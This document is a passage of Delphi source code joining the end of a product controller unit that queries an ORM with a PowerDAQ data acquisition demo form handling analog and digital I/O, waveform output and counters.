Result[I].UnidadeProdutoVO := TUnidadeProdutoVO(TT2TiORM.ConsultarUmObjeto(Result[I].UnidadeProdutoVO, 'ID='+IntToStr(Result[I].IdUnidadeProduto), True));
end;
end;
finally
ObjetoLocal.Free;
end;
end;
class function TProdutoController.ConsultaObjeto(pFiltro: String): TProdutoVO;
begin
try
Result := TProdutoVO.Create;
Result := TProdutoVO(TT2TiORM.ConsultarUmObjeto(Result, pFiltro, True));
if Assigned(Result) then
begin
//Exercício: crie o método para popular esses objetos automaticamente no T2TiORM
Result.UnidadeProdutoVO := TUnidadeProdutoVO(TT2TiORM.ConsultarUmObjeto(Result.UnidadeProdutoVO, 'ID='+IntToStr(Result.IdUnidadeProduto), True));
end;
finally
end;
end;
class function TProdutoController.ConsultaPorTipo(pCodigo: String; pTipo: Integer): TProdutoVO;
var
Filtro: String;
begin
try
case pTipo of
1:
begin // pesquisa pelo codigo da balanca
Filtro := 'CODIGO_BALANCA = ' + QuotedStr(pCodigo);
end;
2:
begin // pesquisa pelo GTIN
Filtro := 'GTIN = ' + QuotedStr(pCodigo);
end;
3:
begin // pesquisa pelo CODIGO_INTERNO ou GTIN
Filtro := 'CODIGO_INTERNO = ' + QuotedStr(pCodigo);
end;
4:
begin // pesquisa pelo Id
Filtro := 'ID = ' + QuotedStr(pCodigo);
end;
end;
Result := TProdutoVO.Create;
Result := TProdutoVO(TT2TiORM.ConsultarUmObjeto(Result, Filtro, True));
if Assigned(Result) then
begin
//Exercício: crie o método para popular esses objetos automaticamente no T2TiORM
Result.UnidadeProdutoVO := TUnidadeProdutoVO.Create;
Result.UnidadeProdutoVO := TUnidadeProdutoVO(TT2TiORM.ConsultarUmObjeto(Result.UnidadeProdutoVO, 'ID='+IntToStr(Result.IdUnidadeProduto), True));
end;
finally
end;
end;
class function TProdutoController.Altera(pObjeto: TProdutoVO): Boolean;
begin
try
Result := TT2TiORM.Alterar(pObjeto);
finally
end;
end;
end.
|
unit MainForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, ComCtrls, Buttons,
AnInp, AnOut, DgInp, DgOut, Counters, DAQDefs, pwrdaq,
pwrdaq32, pdfw_def, ImgList;
type
// Main form class
TMain = class(TForm)
PageControl1: TPageControl;
InfoPage: TTabSheet;
AInPage: TTabSheet;
DInPage: TTabSheet;
AOutPage: TTabSheet;
DOutPage: TTabSheet;
NumAdapters: TLabel;
InfoMemo: TMemo;
RefreshBtn: TButton;
AnalogPaintBox: TPaintBox;
StartAInBtn: TButton;
StopAinBtn: TButton;
FreqEdit: TEdit;
OutFreqEdit: TEdit;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
FrequencyGroup: TGroupBox;
TypesGroup: TRadioGroup;
GainGroup: TRadioGroup;
RangesGroup: TRadioGroup;
StartAOutBtn: TButton;
StopAOutBtn: TButton;
GroupBox1: TGroupBox;
Chan0Func: TRadioGroup;
StartDInBtn: TButton;
StopDInBtn: TButton;
TotalChan: TEdit;
ActiveChan: TEdit;
TotalUpDown: TUpDown;
ActiveUpDown: TUpDown;
FreqTrackBar: TTrackBar;
Label4: TLabel;
Label6: TLabel;
Label7: TLabel;
GroupBox2: TGroupBox;
Label10: TLabel;
Label12: TLabel;
Label13: TLabel;
AOutFrequency: TTrackBar;
Label9: TLabel;
Label5: TLabel;
Label8: TLabel;
Label11: TLabel;
InBit0: TImage;
InBit1: TImage;
InBit2: TImage;
InBit3: TImage;
InBit4: TImage;
InBit5: TImage;
InBit6: TImage;
InBit7: TImage;
Label21: TLabel;
HexIn: TEdit;
Label22: TLabel;
MaxAOut: TLabel;
HexOut: TEdit;
Label24: TLabel;
OutBit0: TImage;
OutBit1: TImage;
Label25: TLabel;
OutBit2: TImage;
Label26: TLabel;
OutBit3: TImage;
Label27: TLabel;
OutBit4: TImage;
Label28: TLabel;
OutBit5: TImage;
Label29: TLabel;
OutBit6: TImage;
Label30: TLabel;
OutBit7: TImage;
Label31: TLabel;
Label32: TLabel;
Label33: TLabel;
StartDOutBtn: TButton;
StopDOutBtn: TButton;
ImageList1: TImageList;
Label41: TLabel;
Label42: TLabel;
Label43: TLabel;
DigInpFreq: TTrackBar;
Label35: TLabel;
Label36: TLabel;
Label37: TLabel;
DigOutFreq: TTrackBar;
Chan0Amp: TTrackBar;
Label38: TLabel;
Chan1Amp: TTrackBar;
Label39: TLabel;
DecimalIn: TEdit;
DecimalOut: TEdit;
RandomValue: TTrackBar;
Label40: TLabel;
Label44: TLabel;
Label45: TLabel;
DigitalPaintBox: TPaintBox;
Panel1: TPanel;
Image9: TImage;
BoardCombo: TComboBox;
ModesGroup: TRadioGroup;
CntPage: TTabSheet;
CountGroup0: TGroupBox;
OutGroup0: TRadioGroup;
ExtClock0: TCheckBox;
ExtGate0: TCheckBox;
StartCOBtn: TButton;
StopCOBtn: TButton;
Value0: TEdit;
Label34: TLabel;
CntFreq0: TTrackBar;
Label15: TLabel;
GroupBox3: TGroupBox;
Label17: TLabel;
OutGroup1: TRadioGroup;
ExtClock1: TCheckBox;
ExtGate1: TCheckBox;
Value1: TEdit;
CntFreq1: TTrackBar;
GroupBox4: TGroupBox;
Label19: TLabel;
OutGroup2: TRadioGroup;
ExtClock2: TCheckBox;
ExtGate2: TCheckBox;
Value2: TEdit;
CntFreq2: TTrackBar;
Label16: TLabel;
Label18: TLabel;
Label20: TLabel;
Label46: TLabel;
Label47: TLabel;
Label48: TLabel;
Chan1Func: TRadioGroup;
procedure RefreshBtnClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure StartAInBtnClick(Sender: TObject);
procedure StopAinBtnClick(Sender: TObject);
procedure AnalogPaintBoxPaint(Sender: TObject);
procedure FreqSliderChange(Sender: TObject);
procedure ActiveChanChange(Sender: TObject);
procedure TypesGroupClick(Sender: TObject);
procedure StartAOutBtnClick(Sender: TObject);
procedure StopAOutBtnClick(Sender: TObject);
procedure StartDInBtnClick(Sender: TObject);
procedure StopDInBtnClick(Sender: TObject);
procedure DigInpFreqChange(Sender: TObject);
procedure StartDOutBtnClick(Sender: TObject);
procedure StopDOutBtnClick(Sender: TObject);
procedure DigOutFreqChange(Sender: TObject);
procedure DigitalPaintBoxPaint(Sender: TObject);
procedure FillOutputBuffer(Sender: TObject);
procedure TotalChanChange(Sender: TObject);
procedure ModesGroupClick(Sender: TObject);
procedure StartCOBtnClick(Sender: TObject);
procedure StopCOBtnClick(Sender: TObject);
procedure OutGroupClick(Sender: TObject);
procedure AOutFrequencyChange(Sender: TObject);
private
{ Private declarations }
hAdapter : THandle;
hDriver : DWORD;
dwError : DWORD;
dwNumAdapters : DWORD;
MaxChannels: DWORD;
AdapterResolution: DWORD;
PDVersion : PWRDAQ_VERSION;
PDPciConfig : PWRDAQ_PCI_CONFIG;
AdapterInfo : TADAPTER_INFO_STRUCT;
AcquisitionSetup : TAcquisitionSetup;
AnalogInput : TAnalogInput;
AnalogOutput : TAnalogOutput;
DigitalInput : TDigitalInput;
DigitalOutput : TDigitalOutput;
Counters : TCounter;
// for digital input
PrevValue: Byte;
OnBitmap : TBitmap;
OffBitmap : TBitmap;
// for analog output simulation
Period: Real;
ZeroShift, HalfRange: DWORD;
FuncValues: array [0..3,0..2047] of Real;
OutputBuffer: TAnalogOutputBuffer;
procedure ChangeLED(LEDName: String; Value: Byte);
procedure AnalogInputTerminate(Sender: TObject);
procedure AnalogOutputTerminate(Sender: TObject);
procedure DigitalInputTerminate(Sender: TObject);
procedure DigitalOutputTerminate(Sender: TObject);
procedure CountersTerminate(Sender: TObject);
procedure DigitalInputUpdateView (Value: Integer);
function DigitalOutputGetData: Cardinal;
procedure DigitalOutputUpdateView (Value: Integer);
procedure UpdatePaintBox(Value: Integer);
procedure UpdateCountersValue;
procedure PreCalculate;
public
{ Public declarations }
procedure SetupInfoPage;
procedure SetupAnalogInput;
procedure SetupDigitalInput;
end;
var
Main: TMain;
implementation
{$R *.DFM}
procedure TMain.FormCreate(Sender: TObject);
begin
// get driver and adapter information
SetupInfoPage;
// setup analog input page
SetupAnalogInput;
// setup digital input page
SetupDigitalInput;
// set info page as active page
PageControl1.ActivePage := InfoPage;
end;
procedure TMain.SetupInfoPage;
begin
try
// open the PowerDAQ driver
if not PdDriverOpen(@hDriver, @dwError, @dwNumAdapters)
then raise TPwrDaqException.Create('PdDriverOpen',dwError);
// select first board
BoardCombo.Items.Add('');
BoardCombo.ItemIndex := 0;
// refreshing information about adapter
RefreshBtnClick(Self);
if ParamCount > 0 then
begin
BoardCombo.ItemIndex := StrToInt(ParamStr(1));
RefreshBtnClick(Self);
end;
except
Application.HandleException(Self);
hAdapter := INVALID_HANDLE_VALUE;
NumAdapters.Caption := 'Adapter not found or driver not started';
end;
end;
procedure TMain.SetupAnalogInput;
begin
// setup acqusition initial data
TotalChanChange(Self);
end;
procedure TMain.SetupDigitalInput;
begin
// assign images for digital i/o
OnBitmap := TBitmap.Create;
OffBitmap := TBitmap.Create;
ImageList1.GetBitmap(0, OnBitmap);
ImageList1.GetBitmap(1, OffBitmap);
ChangeLED('InBit', 0);
ChangeLED('OutBit', 0);
end;
procedure TMain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if hAdapter <> INVALID_HANDLE_VALUE then
try
// stop analog input
StopAInBtnClick(Self);
// stop analog output
StopAOutBtnClick(Self);
// stop digital input
StopDInBtnClick(Self);
// stop digital output
StopDOutBtnClick(Self);
// stop counters
StopCOBtnClick(Self);
// close adapter
if not _PdAdapterClose(hAdapter, @dwError)
then raise TPwrDaqException.Create('PdAdapterClose', dwError);
// close driver
if not PdDriverClose(hDriver, @dwError)
then raise TPwrDaqException.Create('PdDriverClose', dwError);
except end;
Action := caFree;
end;
// ************ Code part for refreshing driver & board information ***********
procedure TMain.RefreshBtnClick(Sender: TObject);
const
DividerStr = '************************************************************************************';
GainStr : array [Boolean, 0..3] of PChar = (('x 1','x 2','x 4','x 8'), ('x 1','x 10','x 100','x 1000'));
var
i, SaveIndex: Integer;
s: ShortString;
begin
// stop all threads
StopAInBtnClick(Self);
StopAOutBtnClick(Self);
StopDInBtnClick(Self);
StopDOutBtnClick(Self);
_PdAdapterClose(hAdapter, @dwError);
// store all boards name into combo box
SaveIndex := BoardCombo.ItemIndex;
BoardCombo.Items.Clear;
for i:=0 to dwNumAdapters-1 do
begin
// Get adapter info
if _PdGetAdapterInfo(i, @dwError, @AdapterInfo)
then with AdapterInfo, BoardCombo.Items do Add(lpBoardName+' s/n: '+lpSerialNum)
else with AdapterInfo, BoardCombo.Items do Add('Not available');
end;
// displaing total adapters count
NumAdapters.Caption := 'Number of adapters installed: '+IntToStr(dwNumAdapters);
BoardCombo.ItemIndex := SaveIndex;
// open the first PowerDAQ PCI adapter.
if not _PdAdapterOpen(BoardCombo.ItemIndex, @dwError, @hAdapter)
then raise TPwrDaqException.Create('PdAdapterOpen',dwError);
// clear all information
InfoMemo.Lines.Clear;
InfoMemo.Lines.BeginUpdate;
if hAdapter <> INVALID_HANDLE_VALUE then
try
// getting information about board from driver ...
if not PdGetVersion(hDriver, @dwError, @PDVersion)
then raise TPwrDaqException.Create('PdGetVersion', dwError);
// and storing information in list box
with PDVersion, InfoMemo.Lines do
begin
Add('Driver info');
Add(DividerStr);
Add('Major version :'#9#9+IntToStr(MajorVersion));
Add('Minor version :'#9#9+IntToStr(MinorVersion));
Add('Build type : '#9#9+BuildType);
Add('Build time stamp : '#9#9+BuildTimeStamp+#13#10);
end;
// getting information about PCI configuration from driver ...
if not PdGetPciConfiguration(hAdapter, @dwError, @PDPciConfig)
then raise TPwrDaqException.Create('PdGetPciConfiguration', dwError);
// and storing information in list box
with PDPciConfig, InfoMemo.Lines do
begin
Add('PCI info');
Add(DividerStr);
Add('Vendor ID :'#9#9'0x'+IntToHex(VendorID,4));
Add('Device ID :'#9#9'0x'+IntToHex(DeviceID,4));
Add('Revision ID :'#9#9'0x'+IntToHex(RevisionID,4));
Add('Base address :'#9#9'0x'+IntToHex(Cardinal(BaseAddress0),8));
Add('Interrupt line :'#9#9'0x'+IntToHex(InterruptLine,2));
Add('Subsystem ID :'#9#9'0x'+IntToHex(SubsystemID,4)+#13#10);
end;
// Get adapter info
if not _PdGetAdapterInfo(BoardCombo.ItemIndex, @dwError, @AdapterInfo)
then raise TPwrDaqException.Create('PdGetAdapterInfo',dwError);
// retrieve information from header
with AdapterInfo, InfoMemo.Lines do
begin
Add('Board info');
Add(DividerStr);
Add('Board Name :'#9#9+lpBoardName);
Add('Serial Number :'#9#9+lpSerialNum);
Add('FIFO Size :'#9#9+IntToStr(SSI[AnalogIn].dwFifoSize)+' samples');
if SSI[AnalogIn].dwChannels > 0 then
begin
Add('Analog input channels:'#9+IntToStr(SSI[AnalogIn].dwChannels));
Add('Analog input capacity:'#9+IntToStr(SSI[AnalogIn].dwChBits)+' bits');
Add('Analog input max. rate:'#9+IntToStr(SSI[AnalogIn].dwRate));
s:='';
for i:=0 to SSI[AnalogIn].dwMaxRanges-1 do
s:=s+FloatToStrF(SSI[AnalogIn].fRangeLow[i], ffNumber, 3, 1)+'/'+FloatToStrF(SSI[AnalogIn].fRangeHigh[i], ffNumber, 3, 1)+' ';
Add('Analog input ranges:'#9#9+s);
s:='';
for i:=0 to SSI[AnalogIn].dwMaxGains-1 do
s:=s+FloatToStrF(SSI[AnalogIn].fGains[i], ffFixed, 4, 0)+', ';
Dec(s[0],2);
Add('Analog input gains:'#9#9+s);
end;
if SSI[AnalogOut].dwChannels > 0 then
begin
Add('Analog output channels:'#9+IntToStr(SSI[AnalogOut].dwChannels));
Add('Analog output capacity:'#9+IntToStr(SSI[AnalogOut].dwChBits)+' bits');
Add('Analog output max. rate:'#9+IntToStr(SSI[AnalogOut].dwRate));
s:='';
for i:=0 to SSI[AnalogOut].dwMaxRanges-1 do
s:=s+FloatToStrF(SSI[AnalogOut].fRangeLow[i], ffNumber, 3, 1)+'/'+FloatToStrF(SSI[AnalogOut].fRangeHigh[i], ffNumber, 3, 1)+' ';
Add('Analog output ranges:'#9+s);
s:='';
for i:=0 to SSI[AnalogOut].dwMaxGains-1 do
s:=s+FloatToStrF(SSI[AnalogOut].fGains[i], ffFixed, 3, 1)+', ';
Dec(s[0],2);
Add('Analog output gains:'#9#9+s);
end;
if SSI[DigitalIn].dwChannels > 0 then
begin
Add('Digital in/out channels:'#9+IntToStr(SSI[DigitalIn].dwChannels));
Add('Digital in/out capacity:'#9+IntToStr(SSI[DigitalIn].dwChBits)+' bits');
Add('Digital in/out max. rate:'#9+IntToStr(SSI[DigitalIn].dwRate));
end;
if SSI[CounterTimer].dwChannels > 0 then
begin
Add('Counter/Timer channels:'#9+IntToStr(SSI[CounterTimer].dwChannels));
Add('Counter/Timer capacity:'#9+IntToStr(SSI[CounterTimer].dwChBits)+' bits');
Add('Counter/Timer max. rate:'#9+IntToStr(SSI[CounterTimer].dwRate));
end;
// enable or disable analog input options tab
if atType and atMF <> 0
then AInPage.TabVisible := True
else AInPage.TabVisible := False;
// enable or disable analog output options tab
if atType and atPD2DIO <> 0 then
begin
AOutPage.TabVisible := False;
DInPage.TabVisible := False;
DOutPage.TabVisible := False;
CntPage.TabVisible := False;
end
else begin
AOutPage.TabVisible := True;
DInPage.TabVisible := True;
DOutPage.TabVisible := True;
CntPage.TabVisible := True;
end;
// setup current board resolution
if SSI[AnalogOut].wXorMask = $800
then AdapterResolution := 12
else AdapterResolution := 16;
// setup gains info
GainGroup.Items.Clear;
for i:= 0 to 3 do GainGroup.Items.Add (GainStr[(SSI[AnalogIn].fGains[1]=10) , i]);
GainGroup.ItemIndex := 0;
// Setup max freq for Analog Input
if SSI[AnalogIn].dwRate > 0 then
begin
FreqTrackBar.Max := SSI[AnalogIn].dwRate div 1000;
FreqTrackBar.Frequency := FreqTrackBar.Max div 50;
end;
// Setup max freq for Analog Output
if SSI[AnalogOut].dwRate > 0 then
begin
AOutFrequency.Max := SSI[AnalogOut].dwRate;
AOutFrequency.Frequency := AOutFrequency.Max div 50;
MaxAOut.Caption := IntToStr(AOutFrequency.Max);
end;
// setup max. channels
MaxChannels := SSI[AnalogIn].dwChannels;
TotalUpDown.Max := MaxChannels;
TotalChan.OnChange(Self);
end;
except
Application.HandleException (Self);
end;
InfoMemo.Lines.EndUpdate;
end;
// ***************** Code part for analog input service **********************
procedure TMain.StartAInBtnClick(Sender: TObject);
const
Modes : array [0..1] of DWORD = (0, AIB_INPMODE);
Types : array [0..1] of DWORD = (0, AIB_INPTYPE);
Ranges : array [0..1] of DWORD = (0, AIB_INPRANGE);
begin
// disable controls
StartAInBtn.Enabled := False;
FrequencyGroup.Enabled := False;
ModesGroup.Enabled := False;
TypesGroup.Enabled := False;
RangesGroup.Enabled := False;
GainGroup.Enabled := False;
TotalChan.Enabled := False;
StopAInBtn.Enabled := True;
// fill setup record
with AcquisitionSetup do
begin
Adapter := hAdapter;
BoardType := AdapterInfo.atType;
Resolution := AdapterResolution;
FIFOSize := AdapterInfo.SSI[AnalogIn].dwFifoSize;
Frequency := FreqTrackBar.Position * 1000;
DefGain := GainGroup.ItemIndex;
Channel := StrToInt(ActiveChan.Text);
NumChannels := StrToInt(TotalChan.Text);
AInMode := Modes [ModesGroup.ItemIndex];
AInType := Types [TypesGroup.ItemIndex];
AInRange:= Ranges [RangesGroup.ItemIndex];
PaintRect := AnalogPaintBox.ClientRect;
PaintCanvas := AnalogPaintBox.Canvas;
end;
// create acqusition thread and run immediately
AnalogInput := TAnalogInput.Create(AcquisitionSetup);
AnalogInput.ActiveChannel := StrToInt(ActiveChan.Text);
AnalogInput.OnTerminate := AnalogInputTerminate;
end;
procedure TMain.StopAinBtnClick(Sender: TObject);
begin
if Assigned(AnalogInput) then
begin
AnalogInput.Free;
AnalogInput := nil;
end;
end;
procedure TMain.AnalogInputTerminate(Sender: TObject);
begin
// enable controls
StartAInBtn.Enabled := True;
FrequencyGroup.Enabled := True;
ModesGroup.Enabled := True;
TypesGroup.Enabled := True;
RangesGroup.Enabled := True;
GainGroup.Enabled := True;
TotalChan.Enabled := True;
StopAInBtn.Enabled := False;
end;
procedure TMain.AnalogPaintBoxPaint(Sender: TObject);
var i: Integer;
begin
// repaint view display
with AnalogPaintBox, AnalogPaintBox.Canvas do
begin
Brush.Color := clBlack;
FillRect(ClientRect);
Pen.Color := clGray;
for i:=1 to 9 do
begin
MoveTo(Round(i * ClientWidth / 10), 0);
LineTo(Round(i * ClientWidth / 10), Height);
end;
for i:=1 to 9 do
begin
if i=5 then Pen.Color := clWhite else Pen.Color := clGray;
MoveTo(0, Round(i * ClientHeight / 10));
LineTo(Width, Round(i * ClientHeight / 10));
end;
end;
end;
procedure TMain.FreqSliderChange(Sender: TObject);
begin
FreqEdit.Text := IntToStr(FreqTrackBar.Position * 1000);
end;
procedure TMain.TotalChanChange(Sender: TObject);
begin
if StrToInt(TotalChan.Text) > 0 then
try
if StrToInt(TotalChan.Text) > TotalUpDown.Max
then TotalChan.Text := IntToStr(TotalUpDown.Max);
ActiveUpDown.Max := StrToInt(TotalChan.Text)-1;
ActiveChan.Text := '0';
FreqTrackBar.Max := AdapterInfo.SSI[AnalogIn].dwRate div (1000 * StrToInt (TotalChan.Text));
FreqSliderChange(Self);
except
end;
end;
procedure TMain.ActiveChanChange(Sender: TObject);
begin
if Assigned(AnalogInput)
then AnalogInput.ActiveChannel := StrToInt(ActiveChan.Text);
end;
procedure TMain.ModesGroupClick(Sender: TObject);
begin
// in defferential mod we must decrease total chan. count
{ if ModesGroup.ItemIndex = 0
then TotalUpDown.Max := MaxChannels
else TotalUpDown.Max := MaxChannels div 2;
TotalChan.OnChange(Self); }
end;
procedure TMain.TypesGroupClick(Sender: TObject);
const
RangesStr : array [Boolean,Boolean] of PChar = (('0-5 V','0-10 V'), ('± 5 V','± 10 V'));
var
SaveIndex : Integer;
begin
// change string value in ranges group
SaveIndex := RangesGroup.ItemIndex;
RangesGroup.Items.Clear;
RangesGroup.Items.Add(RangesStr[Boolean(TypesGroup.ItemIndex), False]);
RangesGroup.Items.Add(RangesStr[Boolean(TypesGroup.ItemIndex), True]);
RangesGroup.ItemIndex := SaveIndex;
end;
// ***************** Code part for analog output service **********************
procedure TMain.StartAOutBtnClick(Sender: TObject);
begin
// disable controls
StartAOutBtn.Enabled := False;
StopAOutBtn.Enabled := True;
AOutFrequency.Enabled := False;
// create output thread
AnalogOutput := TAnalogOutput.Create(hAdapter);
// fill output buffer
ZeroShift := (1 shl AdapterInfo.SSI[AnalogOut].dwChBits) div 2;
HalfRange := ZeroShift div Chan0Amp.Max;
Period := 12*Pi / 2048;
PreCalculate;
FillOutputBuffer(Self);
// setup parameters
AnalogOutput.Frequency := AOutFrequency.Position;
AnalogOutput.AdapterType := AdapterInfo.atType;
AnalogOutput.Buffer := @OutputBuffer;
AnalogOutput.OnTerminate := AnalogOutputTerminate;
AnalogOutput.Resume;
end;
procedure TMain.StopAOutBtnClick(Sender: TObject);
begin
if Assigned(AnalogOutput) then
begin
AnalogOutput.Free;
AnalogOutput := nil;
end;
end;
procedure TMain.AnalogOutputTerminate(Sender: TObject);
begin
// enable controls
StartAOutBtn.Enabled := True;
StopAOutBtn.Enabled := False;
AOutFrequency.Enabled := True;
end;
procedure TMain.AOutFrequencyChange(Sender: TObject);
begin
OutFreqEdit.Text := IntToStr(AOutFrequency.Position);
if Assigned(AnalogOutput) then
AnalogOutput.Frequency := AOutFrequency.Position;
end;
// pre-calculates data arrays (values between -1 and 1)
procedure TMain.PreCalculate;
var i: Integer;
Phase: Real;
begin
Phase := 0.0;
for i:=Low(FuncValues[0]) to High(FuncValues[0]) do
begin
// pre-calculate sine wave
FuncValues[0,i] := Sin (Phase);
// pre-calculate square wave
if FuncValues[0,i] < 0 then FuncValues[1,i]:= -1 else FuncValues[1,i]:= 1;
// pre-calculate triangle wave
if Phase <= Pi
then FuncValues[2,i]:= 2.0 * Phase / Pi - 1.0
else FuncValues[2,i]:= 3.0 - 2.0 * Phase / Pi;
// pre-calculate sawtooth wave
if Phase <= 2*Pi
then FuncValues[3,i]:= Phase / Pi - 1.0
else FuncValues[3,i]:= -1;
// increase phase
Phase := Phase+Period;
if Phase >= 2*Pi then Phase := 0;
end;
end;
procedure TMain.FillOutputBuffer(Sender: TObject);
var i: Integer;
Value: array [0..1] of DWORD;
begin
if AdapterInfo.atType and atMF > 0 then
for i:=Low(OutputBuffer) to High(OutputBuffer) do
begin
Value[0] := Round ((FuncValues [Chan0Func.ItemIndex, i]) * (HalfRange * Chan0Amp.Position)) + ZeroShift;
Value[1] := Round ((FuncValues [Chan1Func.ItemIndex, i]) * (HalfRange * Chan1Amp.Position)) + ZeroShift;
OutputBuffer[i] := Value[1] shl 12 or Value[0];
end
else
for i:=Low(OutputBuffer) to High(OutputBuffer) div 2 do
begin
OutputBuffer[i*2] := Round((FuncValues [Chan0Func.ItemIndex, i]) * (HalfRange * Chan0Amp.Position)) + ZeroShift + (0 shl 16);
OutputBuffer[i*2+1] := Round((FuncValues [Chan1Func.ItemIndex, i]) * (HalfRange * Chan1Amp.Position)) + ZeroShift + (1 shl 16);
end;
// re-output data
if Assigned (AnalogOutput) then AnalogOutput.SettingsChanges := True;
end;
// ****************** Code part for digital i/o services **********************
procedure TMain.ChangeLED(LEDName: String; Value: Byte);
var
i, BitNum: Integer;
begin
for i:=0 to ComponentCount-1 do
if Pos(LEDName, Components[i].Name) > 0 then
begin
BitNum := StrToInt(Copy(Components[i].Name, Length(LEDName)+1,255));
if (1 shl BitNum) and Value = 0
then TImage(Components[i]).Picture.Bitmap.Assign(OffBitmap)
else TImage(Components[i]).Picture.Bitmap.Assign(OnBitmap);
end;
end;
// ***************** Code part for digital input service **********************
procedure TMain.StartDInBtnClick(Sender: TObject);
begin
// disable controls
StartDInBtn.Enabled := False;
StopDInBtn.Enabled := True;
// create acqusition thread and run immediately
DigitalInput := TDigitalInput.Create(hAdapter);
DigitalInput.Frequency := DigInpFreq.Position;
DigitalInput.OnTerminate := DigitalInputTerminate;
DigitalInput.OnUpdateView := DigitalInputUpdateView;
end;
procedure TMain.StopDInBtnClick(Sender: TObject);
begin
if Assigned(DigitalInput) then
begin
DigitalInput.Free;
DigitalInput := nil;
end;
end;
procedure TMain.DigitalInputTerminate(Sender: TObject);
begin
// enable controls
StartDInBtn.Enabled := True;
StopDInBtn.Enabled := False;
end;
procedure TMain.DigitalPaintBoxPaint(Sender: TObject);
begin
// repaint view display
DigitalPaintBox.Canvas.Brush.Color := clBlack;
DigitalPaintBox.Canvas.FillRect(ClientRect);
end;
procedure TMain.UpdatePaintBox(Value: Integer);
const
BitColors : array [0..7] of TColor = (clWhite, clRed, clWhite, clRed, clWhite, clRed, clWhite, clRed);
dX = 5;
var
SrcRect, DstRect: TRect;
i, y, y2: Integer;
begin
with DigitalPaintBox, DigitalPaintBox.Canvas do
try
// shift paint box canvas to left on 1 pixel
SrcRect := ClipRect;
DstRect := ClipRect;
OffsetRect (DstRect, -dX, 0);
CopyRect(DstRect, DigitalPaintBox.Canvas, SrcRect);
FillRect(Rect(SrcRect.Right-dX, SrcRect.Top, SrcRect.Right, SrcRect.Bottom));
for i:=0 to 7 do
begin
Pen.Color := BitColors[i];
// for vertical lines
if (Value and (1 shl i)) <> (PrevValue and (1 shl i)) then
begin
if (1 shl i) and PrevValue <> 0 then
begin
y := i*3+i*8;
y2 := i*3+(i+1)*8;
end
else begin
y := i*3+(i+1)*8;
y2 := i*3+i*8;
end;
MoveTo (SrcRect.Right-dX-1, y);
LineTo (SrcRect.Right-dX-1, y2);
end;
// for horizontal lines
if (1 shl i) and Value <> 0
then y := i*3+i*8 // low level
else y := i*3+(i+1)*8; // high level
MoveTo (SrcRect.Right-dX-1, y);
LineTo (SrcRect.Right-1, y);
end;
finally
PrevValue := Value;
end;
end;
procedure TMain.DigInpFreqChange(Sender: TObject);
begin
if Assigned(DigitalInput)
then DigitalInput.Frequency := DigInpFreq.Position;
end;
procedure TMain.DigitalInputUpdateView (Value: Integer);
begin
DecimalIn.Text := IntToStr(Value);
HexIn.Text := '0x'+IntToHex(Value,4);
ChangeLED('InBit', Value);
UpdatePaintBox(Value);
end;
// ***************** Code part for digital output service ********************
procedure TMain.StartDOutBtnClick(Sender: TObject);
begin
// disable controls
StartDOutBtn.Enabled := False;
StopDOutBtn.Enabled := True;
// create acqusition thread and run immediately
DigitalOutput := TDigitalOutput.Create(hAdapter);
DigitalOutput.Frequency := DigOutFreq.Position;
DigitalOutput.OnTerminate := DigitalOutputTerminate;
DigitalOutput.OnGetData := DigitalOutputGetData;
DigitalOutput.OnUpdateView := DigitalOutputUpdateView;
end;
procedure TMain.StopDOutBtnClick(Sender: TObject);
begin
if Assigned(DigitalOutput) then
begin
DigitalOutput.Free;
DigitalOutput := nil;
end;
end;
procedure TMain.DigitalOutputTerminate(Sender: TObject);
begin
// enable controls
StartDOutBtn.Enabled := True;
StopDOutBtn.Enabled := False;
end;
function TMain.DigitalOutputGetData: Cardinal;
begin
Result := Random (RandomValue.Position);
end;
procedure TMain.DigitalOutputUpdateView (Value: Integer);
begin
DecimalOut.Text := IntToStr(Value);
HexOut.Text := '0x'+IntToHex(Value,4);
ChangeLED('OutBit', Value);
end;
procedure TMain.DigOutFreqChange(Sender: TObject);
begin
if Assigned(DigitalOutput)
then DigitalOutput.Frequency := DigOutFreq.Position;
end;
// ***************** Code part for counters/timers service *******************
procedure TMain.StartCOBtnClick(Sender: TObject);
const
Clocks : array [0..2,Boolean] of DWORD = ((UTB_CLK0, UTB_CLK0 or UTB_CLK0_1),
(UTB_CLK1, UTB_CLK1 or UTB_CLK1_1),
(UTB_CLK2, UTB_CLK2 or UTB_CLK2_1));
Gates : array [0..2,Boolean] of DWORD = ((UTB_SWGATE0, UTB_GATE0),
(UTB_SWGATE1, UTB_GATE1),
(UTB_SWGATE2, UTB_GATE2));
begin
StartCOBtn.Enabled := False;
ExtClock0.Enabled := False;
ExtClock1.Enabled := False;
ExtClock2.Enabled := False;
ExtGate0.Enabled := False;
ExtGate1.Enabled := False;
ExtGate2.Enabled := False;
StopCOBtn.Enabled := True;
Counters := TCounter.Create(hAdapter);
// setup clock sources
Counters.Clocks[0] := Clocks[0, ExtClock0.Checked];
Counters.Clocks[1] := Clocks[1, ExtClock1.Checked];
Counters.Clocks[2] := Clocks[2, ExtClock2.Checked];
// setup gate sources
Counters.Gates[0] := Gates[0, ExtGate0.Checked];
Counters.Gates[1] := Gates[1, ExtGate1.Checked];
Counters.Gates[2] := Gates[2, ExtGate2.Checked];
Counters.OnUpdateView := UpdateCountersValue;
Counters.OnTerminate := CountersTerminate;
Counters.Resume;
// setup modes
OutGroupClick(Self);
end;
procedure TMain.UpdateCountersValue;
begin
Value0.Text := IntToStr(Counters.Values[0]);
Value1.Text := IntToStr(Counters.Values[1]);
Value2.Text := IntToStr(Counters.Values[2]);
end;
procedure TMain.StopCOBtnClick(Sender: TObject);
begin
if Assigned(Counters) then
begin
Counters.Free;
Counters := nil;
end;
end;
procedure TMain.CountersTerminate(Sender: TObject);
begin
// enable controls
StartCOBtn.Enabled := True;
ExtClock0.Enabled := True;
ExtClock1.Enabled := True;
ExtClock2.Enabled := True;
ExtGate0.Enabled := True;
ExtGate1.Enabled := True;
ExtGate2.Enabled := True;
StopCOBtn.Enabled := False;
end;
procedure TMain.OutGroupClick(Sender: TObject);
const
CntModes: array [0..1] of DWORD = (UCT_SQUARE, UCT_IMPULSE);
begin
if Counters <> nil then
try
Counters.Modes[0] := CntModes[OutGroup0.ItemIndex];
Counters.Modes[1] := CntModes[OutGroup1.ItemIndex];
